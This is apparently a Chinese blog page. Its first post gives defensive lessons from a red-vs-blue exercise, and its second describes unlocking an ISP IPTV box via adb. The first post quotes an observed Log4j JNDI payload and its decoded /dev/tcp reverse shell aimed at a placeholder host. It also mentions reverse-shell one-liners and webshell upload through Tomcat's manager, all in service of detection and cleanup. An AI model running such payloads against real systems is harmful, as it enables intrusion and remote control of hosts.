红蓝对抗中蓝队的一些工作心得(一)

红蓝对抗中蓝队的一些工作心得(二)

红蓝对抗中蓝队的一些工作心得(三)

在红蓝对抗类网络攻防演练中,蓝队(防守方)一般要做的是,紧盯态势感知、防火墙等各种设备,发现并切断红队(攻击方)的攻击链条,对于失陷资产,做好善后、溯源工作,或根据游戏规则挽回失分甚至倒扣红队的分,或收集信息为今后梳理资产脆弱点做好准备。

拿到一台失陷主机,首先要看进程列表有没有可疑进程,能直接连通公网的 Linux 服务器,反弹 shell 可以很方便地在本地开启进程主动 TCP 出去连接红队的服务器,接收指令在本地运行。常见的反弹 shell 形如 /bin/bash -inc -e /bin/bash  、 python 的有 python -c "import os,socket,…… ,还有利用 perl 的等等不一而足。对于不能连公网的主机,则要重点关注内网穿透互联类工具如 frp 、 nps 等。再配合 netstat 查看一下有没有可疑网络连接,看看有没有某进程所连接的 IP 地址在业务上并不需要,却又可能跟红队攻击链有关。如有发现,要及时杀掉进程,封堵相应 IP 。本次遇到一些木马进程,把反连地址加密编码在运行参数中,再把进程名称改成和正常业务相混淆的文件名,甚至连磁盘上的原始文件都给删了。在发现问题进程但找不到落地文件的情况下,可以通过 /proc/<pid>/exe 把进程 dump 为文件保存到磁盘以便取证、研究。

其次要注意下权限维持的情况,并不是杀掉木马进程就可以高枕无忧。举个例子,红队可以在 crontab 中添加一个 “每 1 分钟起一次 bash 反弹 shell” 的计划任务,导致只杀死一次进程完全无济于事。除了 crontab 之外,用户的 bash 环境变量也是一个容易隐藏权限维持脚本的地方,导致用户一登录 ssh 就启动木马,也需要排查。当然,如果内网可以部署主机安全类产品,通过 agent 收集上述信息并上报、告警,可以省很多事儿。

无论是攻击者从 ssh 登录进来,还是通过 web 漏洞执行了命令,当前用户的 bash history 都是重要的线索之一。这里推荐在日常运维的时候打开 bash history 的 Unix 时间戳记录,方便和 web 日志、后端日志,以及其他机器的日志等交叉对照。本次攻防行动,红队通过批量下载 sshpass 搭配上已泄露的强密码、常见弱密码来登录别的机器。 sshpass 这种工具虽然方便,但在 bash 操作中容易把明文密码留在 bash history 中,在脚本中使用也是一样,容易暴露其他机器的明文 ssh 密码,安全与便利很难兼得。

面对失陷机器,我们很可能并不知道该机器是攻击链的起点、终点,还是中间环节。如果红队利用弱密码在内网渗透,ssh 的日志也是至关重要的。.ssh 目录中的 known hosts 文件是当前机器尝试(并不一定连成功)连过的所有 SSH 的 IP 地址和指纹,/var/log/secure 里有别的机器 SSH 过来认证成功和失败的详细记录,通过 grep 'Accepted'来筛选登录成功的记录非常方便。这样,一来一去都有迹可循。

不管是内部横向渗透,还是从公网暴露面打进来,除了 SSH 外,应用漏洞也是非常重要的利用点。本次行动,公网暴露面有一台运行着 java 数据采集服务的机器失陷,java 服务组件也比较老有三四个年头了。我们排查的时候首先直接就想到了核弹级漏洞 log4j,打开 java 日志,一搜常用的探测工具 dnslog,马上发现了蛛丝马迹,再搜 jndi:ldap:,发现了红队所执行的 payload 日志:

${jndi:ldap://<ip>:<port>/Basic/Command/Base64/<base64 encoded payload>}

base64 解码后形如:

exec 5<>/dev/tcp/<ip>/<port>;cat <&5|while read line;do $line >&5 2>&1;done

惭愧,这还是我第一次看到 log4j 的在野利用。这也提醒了我们,一旦爆发高危漏洞,所有有关的服务都要全面排查,这也对蓝队资产收集更新工作提出了更高的要求。在该主机上,其实 java 服务前面还套了一层 nginx 的反向代理,机主也算有些安全意识,在 nginx 配置文件中写了白名单 allow <ip>;,但百密一疏导致的致命问题是,他忘记了加 deny all; 来兜底,导致白名单没有生效,满盘皆输。这也凸显了老生常谈的话题——安全防御是一个不能有短板的围城,任何疏漏都会导致其他方面的努力付之东流。

在内网中,内部工作人员的麻痹意识就会更加明显,这也是零信任这种安全概念流行的原因之一。内网中有些部署了 java 服务的机器,tomcat 安装后压根没有通过 tomcat-user.xml 改过密码,被内网渗透大杀器fscan给扫了出来。这在安全人员眼里就像案板上的肥肉,直接通过/manager 路径,把 jsp 木马打包成 war 包上传,秒拿权限。这里,如果业务部署人员有直接拿 root 起服务的习惯,那就更是等同于给红队铺路了。

对于蓝队,用 fscan 这种攻击工具在内网自查自纠或提前于红队发现脆弱点也是相当推荐的。对于被种了上述 webshell 导致失陷的机器,当然要排查 tomcat 的/webapps 目录(nginxhttpd 则对应 web 目录、上传目录等)下的 webshell,不管是大马还是一句话,相信对于安全人员来说都不难鉴别。对于红队,拿到权限后必有下一步动作,上面说的检查手段依然有效,本次行动,我们还发现红队安装 nmap 、下载 fscan 和内网密码字典、下载运行 frp 一类内网穿透工具等一系列操作,目标一般是/tmp 目录,又或者根据机器当前的业务选一个有迷惑性的路径,再加上业务服务本身所在的目录和子目录,都需要重点排查。在这些路径中,如果红队匆匆使用 nohup 来运行偷鸡摸狗工具,蓝队当然要逐行细看 nohup.out 文件;对于 fscan 等扫描工具自动生成的结果文件如 result.txt,蓝队也需要查看来确定红队下一步的方向是什么。与此同时,通知失陷机器的机主及时修改密码,升级组件、修复漏洞也是份内的工作。

联通 iptv 贝尔电视盒折腾记

春节假期在家无事,想把联通 iptv 送的盒子折腾一下,装一装第三方 app,可以在电视上看看斗鱼直播什么的。之前的电视盒是创维某型号,插 U 盘可直接安装 apk,iptv 首页也能直接进入应用列表。但某次更换套餐后,换了个 “贝尔 S-010W-AV2B” 电视盒,配置是更好了,但上述 feature 全部堵死。于是在智能电视论坛等地方一番搜索和实操,最终实现了 “可安装安装第三方 app” 、 “更换默认 launcher” 这两大步。

一、可安装安装第三方 app

和路由器刷机一样,有人直接拆机上 TTL 线开搞,但这有点费周章了。先看看能不能打开 adb 调试吧。这个机器插上 USB 键盘后按 F2 可以打开应用列表,找到设置 app,开发者选项里打开 USB 调试即可在局域网内进行 adb 连接。同时,该机器两个 USB 口中靠近开关的那个可用公对公 USB 线连接电脑进行 USB 调试。这里用 Google 官方的 adb 提示 “adb server version (99) doesn’t match this client (41); killing…”,似乎是版本不匹配,还是在论坛里找到了可用的 adb 程序。 push 了某应用市场和第三方桌面,安装、启动都没问题。但是从第三方应用市场下载安装 app 却提示了禁止安装,还请我谅解?

谅解当然是不可能的,只有破解才是正道。原来这个机型的 Android 系统安装 apk 是依靠 com.android.packageinstaller,这个组件想必是经过了魔改,那么找一个 Android 4.4.4 原版的 packageinstaller.apk 代替即可,热心人早有提供,adb 进去卸载 com.android.packageinstaller,安装原版,问题解决。

二、更换默认 launcher

iptv 电视盒开机后,经过认证,会直接进入运营商定制的首页,没机会选择第三方桌面,并且定制首页的应用列表的入口也是点击无效。越是后期出厂的盒子,越是严格响应广电政策号召,不停地采取诸如限制 apk 安装、封堵 adb 之类的措施。同时,按下遥控器的 “首页” 按钮也会进入定制首页,无法再返回第三方桌面。那我总不能每次都用键盘或者 adb 来启动第三方桌面、打开第三方 app 啊,还是要想办法进一步改造一下。

这里有两个思路,一个是更改 Android 系统的 launcher,另一个是修改遥控器的按键映射——使 “首页” 或其他闲置按钮可以起到打开第三方 app 的作用。装了个利用 Android 辅助功能的按键映射 app,将 “双击遥控器首页” 按钮映射为打开第三方桌面,成功!本来是挺完美的了,但这个方案竟然出现了按键胡乱响应的 bug,实在是影响正常使用,进一步搜索想探究下遥控器按钮的映射,也发现 adb shell 里 getevent -l 命令很有趣,可以捕获包括遥控器在内的按键命令,但始终未找到这个机器的遥控器配置文件在哪里。

在论坛里搜到一个型号相近的电视盒修改教程,提示我 /system/build.prop 这个文件存了很多系统配置,其中就有和 launcher 相关的。花了论坛币,把人家的文件下载后逐行仔细揣摩,发现以下两行可能是关键:

ro.iptv.enable=true
ro.build.office=IPTV_cujs

上一行修改为 false,下一行留空,把 /system 分区挂载成 RW 后,adb push 回电视盒,重启后……盒子就挂了!卡在开机界面无响应了……

正丧气时,仔细想了想,问题应该不至于那么严重。发现启动卡住时,USB 调试起不来(原需进入系统设置点击一下才能启动),但网络 adb 竟然是通的,这又燃起了一丝希望,莫不是权限问题吧,赶紧 chmod 777,还是不行,这真是让人又是灰心,又是不解。谁知后来一搜,才发现在 Android 手机刷机界,这个问题简直是必踩之坑, /system/build.prop 这个文件的正确权限应该是 644 。 chmod 后启动正常,开机后也有了 launcher 选择,直接将第三方桌面指定为默认并不再询问。这下唯一美中不足的就是通过第三方桌面进入定制界面后没办法再回来,只能重启,这也已经很能令人满意了。

当然了,还有个另辟蹊径的思路就是直接购买非运营商定制的电视盒,或者树莓派、 HTPC 之类的设备,把运营商推流的地址抓出来导入到第三方播放器。这就有待来日了。